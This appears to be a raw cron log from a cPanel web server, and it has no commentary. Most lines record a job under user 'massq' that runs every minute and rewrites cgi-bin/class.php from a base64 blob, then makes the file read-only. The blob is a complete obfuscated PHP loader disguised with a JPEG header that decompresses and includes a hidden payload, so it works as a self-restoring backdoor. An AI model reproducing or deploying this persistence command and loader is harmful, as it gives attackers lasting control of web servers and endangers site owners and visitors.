Nov 15 07:40:01 server CROND[340]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:40:01 server CROND[342]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 07:41:01 server CROND[674]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:42:01 server CROND[1032]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 07:42:01 server CROND[1033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:43:01 server CROND[1311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:44:01 server CROND[1584]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:45:01 server CROND[1863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:45:01 server CROND[1864]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 07:45:01 server CROND[1865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 07:46:01 server CROND[2193]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:47:01 server CROND[2461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:48:01 server CROND[2829]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:49:01 server CROND[3109]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:50:01 server CROND[3390]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 07:50:01 server CROND[3393]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 07:50:01 server CROND[3395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 07:50:01 server CROND[3396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:50:01 server CROND[3398]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 07:51:01 server CROND[3727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:52:01 server CROND[3999]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
